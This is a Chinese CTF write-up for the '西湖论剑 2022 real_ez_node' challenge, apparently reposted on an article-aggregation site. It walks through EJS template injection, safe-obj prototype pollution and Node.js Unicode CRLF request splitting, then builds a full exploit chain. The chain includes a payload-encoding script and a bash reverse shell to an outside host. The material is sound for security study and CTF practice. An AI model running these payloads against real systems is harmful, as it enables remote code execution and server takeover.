[西湖论剑 2022]real_ez_node

2023-11-11 23:04
文章标签 node 2022 real ez 论剑 西湖

本文主要是介绍[西湖论剑 2022]real_ez_node，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

文章目录

  • 前置知识
    • EJS模板注入（CVE-2022-29078）
    • 原型链污染漏洞 （CVE-2021-25928）
    • HTTP响应拆分攻击（CRLF）
  • 解题过程
    • 代码审计
    • 构造payload

前置知识

EJS模板注入（CVE-2022-29078）

EJS库中有一个渲染函数非常特别
数据和选项通过这个函数合并在一起utils.shallowCopyFromList，所以理论上我们可以用数据覆盖模板选项

exports.render = function (template, d, o) {var data = d || {};var opts = o || {};// No options object -- if there are optiony names// in the data, copy them to optionsif (arguments.length == 2) {utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);}return handleCache(opts, template)(data);
};

但是继续发现它仅复制位于定义的传递列表中的数据

var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug','client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];

不过在 renderFile 函数里找到了RCE漏洞

// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {utils.shallowCopy(opts, viewOpts);
}

在 Express ejs 的情况下，它view options会将所有内容无限制地复制到选项中，现在我们需要的只是找到模板主体中包含的选项而不转义

prepended +='  var __output = "";\n' +'  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

因此，如果我们在选项中注入代码，outputFunctionName它将包含在源代码中。
有效负载是这样的x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

一般原型链污染构造payload如下

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor.load('child_process').exec('calc');//"}}

{"__proto__":{"outputFunctionName":"_tmp1;return global.process.mainModule.constructor.load('child_process').exec('calc');__tmp2"}}

原型链污染漏洞 （CVE-2021-25928）

漏洞poc如下

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);

expand函数定义如下
在这里插入图片描述该函数有三个参数obj、path、thing
当我们调用该函数时，执行过程如下

obj={},path="__proto__.polluted",thing="Yes! Its Polluted"

当执行完path.split('.')时，path被分成两部分，props数组如下

props=(2){"__proto__","polluted"}

由于length长度为2，进入else语句，执行完shift()后

prop="__proto__",props="polluted"

下面再次调用expand函数的时候就相当于调用

expand(obj[__proto__]，"polluted","Yes! Its Polluted")

然后再次递归，此时length为1

props=["polluted"]

if语句为True，执行obj[props.shift()]=thing
相当于执行 obj[proto][“polluted”]=“Yes! Its Polluted”，造成原型链污染

HTTP响应拆分攻击（CRLF）

在版本条件 nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击，（Node.js10中被修复），当 Node.js 使用 http.get （关键函数）向特定路径发出HTTP 请求时，发出的请求实际上被定向到了不一样的路径，这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。

补充说明：CRLF指的是回车符(CR，ASCII 13，\r，%0d) 和换行符(LF，ASCII 10，\n，%0a)

由于nodejs的HTTP库包含了阻止CRLF的措施，即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是，它们会被URL编码，所以正常的CRLF注入在nodejs中并不能利用

var http = require("http")
http.get('http://47.101.57.72:4000/\r\n/WHOAMI').output

结果如下，我们可以发现并没有实现换行

GET /%0D%0A/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

但是如果包含一些高编号的Unicode字符
当 Node.js v8 或更低版本对此URL发出 GET 请求时，它不会进行编码转义，因为它们不是HTTP控制字符

var http = require("http")
http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
结果为[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时，\u{010D}\u{010A}将分别被截断为 “\r”（%0d）和 “\n”（%0a）

GET /
/WHOAMI HTTP/1.1
Host: 47.101.57.72:4000
Connection: close

可见，通过在请求路径中包含精心选择的Unicode字符，攻击者可以欺骗Node.js并成功实现CRLF注入。

对于不包含主体的请求，Node.js默认使用“latin1”，这是一种单字节编码字符集，不能表示高编号的Unicode字符，所以，当我们的请求路径中含有多字节编码的Unicode字符时，会被截断取最低字节，比如 \u0130 就会被截断为 \u30：
在这里插入图片描述
构造脚本如下

payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

解题过程

代码审计

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({secret : 'secret', // 对session id 相关的cookie 进行签名resave : true,saveUninitialized: false, // 是否保存未初始化的会话cookie : {maxAge : 1000 * 60 * 3, // 设置 session 的有效时间，单位毫秒},
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {next(createError(404));
});// error handler
app.use(function(err, req, res, next) {// set locals, only providing error in developmentres.locals.message = err.message;res.locals.error = req.app.get('env') === 'development' ? err : {};// render the error pageres.status(err.status || 500);res.render('error');
});module.exports = app;

可以发现使用的是ejs模板引擎，我们再查看下版本
打开package.json，版本是3.0.1，可以原型链污染RCE
在这里插入图片描述
index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{if (req.query.q) {console.log('get q');}res.render('index');
})
router.post('/copy',(req,res)=>{res.setHeader('Content-type','text/html;charset=utf-8')var ip = req.connection.remoteAddress;console.log(ip);var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only for admin"res.send(JSON.stringify(obj));return }let user = {};for (let index in req.body) {if(!index.includes("__proto__")){safeobj.expand(user, index, req.body[index])}}res.render('index');
})router.get('/curl', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:3000/?q=' + qtry {http.get(url,(res1)=>{const { statusCode } = res1;const contentType = res1.headers['content-type'];let error;// 任何 2xx 状态码都表示成功响应，但这里只检查 200。if (statusCode !== 200) {error = new Error('Request Failed.\n' +`Status Code: ${statusCode}`);}if (error) {console.error(error.message);// 消费响应数据以释放内存res1.resume();return;}res1.setEncoding('utf8');let rawData = '';res1.on('data', (chunk) => { rawData += chunk;res.end('request success') });res1.on('end', () => {try {const parsedData = JSON.parse(rawData);res.end(parsedData+'');} catch (e) {res.end(e.message+'');}});}).on('error', (e) => {res.end(`Got error: ${e.message}`);})res.end('ok');} catch (error) {res.end(error+'');}} else {res.send("search param 'q' missing!");}
})
module.exports = router;

分析：

  1. /copy路由下，首先检查ip地址是否为127.0.0.1，然后过滤了__proto__关键字（我们可以constructor.prototype代替），接着出现能造成原型链污染的函数safeobj.expand()
  2. /curl路由下的存在ssrf利用点

思路是通过/curl路由利用CRLF以本地（127.0.0.1）身份向/copy发送POST请求，然后打ejs污染原型链 实现代码执行

构造payload

我们先构造原型链污染payload

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"}
}

但是__proto__被过滤了，修改一下

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}

这里为什么要改为constructor.prototype.outputFunctionName，可以在前置知识那了解expand函数的执行过程

然后就是修改CRLF注入脚本

payload = ''' HTTP/1.1POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 191{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1\\"');var __tmp2"
}
'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

我的长度为191，这个可以自己bp发包看看

在这里插入图片描述
不过NSS的这道题不能反弹shell

这篇关于[西湖论剑 2022]real_ez_node的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/393419。

相关文章

Windwos +vs 2022 编译openssl 1.0.2 库

Windwos +vs 2022 编译openssl 1.0.2 库

一 前言 先说 结论，编译64位报错，查了一圈没找到解决方案，最后换了32位的。 使用qt访问web接口，因为是https，没有openssl库会报错 QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());if (reply){if (reply->error() == QNetworkReply::NoError
阅读更多...
（1995-2022年） 全国各省份-技术交易活跃度

（1995-2022年） 全国各省份-技术交易活跃度

技术交易活跃度是一个关键指标，用于衡量技术市场的交易频繁程度和活跃性。它不仅显示了市场参与者对技术交易的参与热情，而且交易的频率也体现了市场的活力。这一指标对于不同的利益相关者具有不同的意义： 对投资者而言，技术交易活跃度是把握市场趋势、评估交易策略和预测市场波动的重要工具。对企业来说，技术交易活跃度反映了其技术创新的活跃程度和市场竞争的激烈程度，有助于企业制定技术创新和市场竞争策略。对政策制定
阅读更多...
2009年-2022年 地级市-环境污染处罚数据

2009年-2022年 地级市-环境污染处罚数据

环境污染处罚数据是环境保护领域中重要的信息资源，它记录了因违反环保法律法规而受到行政处罚或法律制裁的具体情况。这些数据对于提高公众的环保意识、促进企业采取环保措施以及推动环境治理具有重要作用。 数据内容概述 违法行为的主体：即受到处罚的个人或企业。违法事实：具体违反了哪些环保法律法规的行为。处罚依据：依据哪些法律法规进行处罚。处罚类型：如罚款、责令整改、停产整顿等。处罚金额：处罚的具体金额，通
阅读更多...
sublime配置node.js

sublime配置node.js

1、下载Nodejs插件，下载地址为： https://github.com/tanepiper/SublimeText-Nodejs（见本人网盘） 下载zip压缩包后解压，文件名改为Nodejs 2、打开Sublime Text3，点击菜单“Perferences” =>“Browse Packages”打开“Packages”文件夹，并将第1部的Nodejs文件夹剪切进来 3
阅读更多...
▶《强化学习的数学原理》(2024春)_西湖大学赵世钰 Ch5 蒙特卡洛方法【model-based ——＞ model-free】

▶《强化学习的数学原理》(2024春)_西湖大学赵世钰 Ch5 蒙特卡洛方法【model-based ——＞ model-free】

PPT 截取必要信息。 课程网站做习题。总体 MOOC 过一遍 1、视频 + 学堂在线 习题 2、 过 电子书 是否遗漏 【下载：本章 PDF GitHub 页面链接 】 【第二轮 才整理的，忘光了。。。又看了一遍视频】 3、 过 MOOC 习题 看 PDF 迷迷糊糊， 恍恍惚惚。 学堂在线 课程页面链接 中国大学MOOC 课程页面链接 B 站 视频链接 PPT和书籍下载网址： 【Gi
阅读更多...
Node.js版Selenium WebDriver教程

Node.js版Selenium WebDriver教程

目录 介绍 导言 Selenium基础 环境设置 使用npm安装selenium-webdriver模块 配置和管理浏览器驱动器 下载火狐 下载安装 webDriver 第一个WebDriver脚本 介绍 导言 在当今数字化时代，Web应用程序的质量和性能至关重要。为了确保这些应用的可靠性，自动化测试成为一种不可或缺的工具。Selenium，作为自动化测试领域的瑰宝
阅读更多...
CTF-蓝帽杯 2022 初赛Misc计算机取证题目详解

CTF-蓝帽杯 2022 初赛Misc计算机取证题目详解

使用工具：Volatility、Passware Kit、Arsenal Image Mounter、DiskGenius 题目文件如下： 首先要知道这些文件是什么： dmp后缀指Dump文件，是windows系统中的错误转储文件。包含计算机程序运行时的内存信息的文件。通常操作系统或应用程序在遇到系统崩溃、死机或其他严重错误时，会自动将程序运行环境的所有信息导出到一个.dmp文件中。所以
阅读更多...
2000年 - 2022年 Fama-French三因子模型数据+代码

2000年 - 2022年 Fama-French三因子模型数据+代码

Fama-French三因子模型是由著名经济学家尤金·法玛（Eugene Fama）和肯尼斯·法兰奇（Kenneth French）提出的，旨在改进资本资产定价模型（CAPM），更全面地解释资产收益率的变化。该模型认为，除了市场风险溢价外，还有两个额外的风险因子可以解释股票或投资组合的超额回报率，即市值因子（也称为规模因子）和账面市值比因子。 以下是Fama-French三因子模型中涉及的关键指
阅读更多...
HTML5/Node.js/JS 经验谈 (会员专属)【讲师辅导】-曾亮-专题视频课程

HTML5/Node.js/JS 经验谈 (会员专属)【讲师辅导】-曾亮-专题视频课程

HTML5/Node.js/JS 经验谈 (会员专属)【讲师辅导】—5481人已学习 课程介绍         QQ 1405491181 链接 http://edu.csdn.net/lecturer/585 可办理会员卡。 这套视频是关于 HTML5 / Node.js / JS 的一些资源、经验和开发实例的视频集，会不断更新，这是套会员专属视频。 课程收益     这
阅读更多...
Node.js 核心技术 Stream (第二版)【讲师辅导】-曾亮-专题视频课程

Node.js 核心技术 Stream (第二版)【讲师辅导】-曾亮-专题视频课程

Node.js 核心技术 Stream (第二版)【讲师辅导】—6549人已学习 课程介绍         本课程是 Node.js 核心技术系列课程之一，课程讲解了 stream 流的原理、实现和调用方式，要想对 Node.js 技术有深层次的掌握，就必须对 stream 精通，因为它是数据的血脉！ 一切和 I/O 和数据相关的 API 都会用到 stream ，但只是局限在表面
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2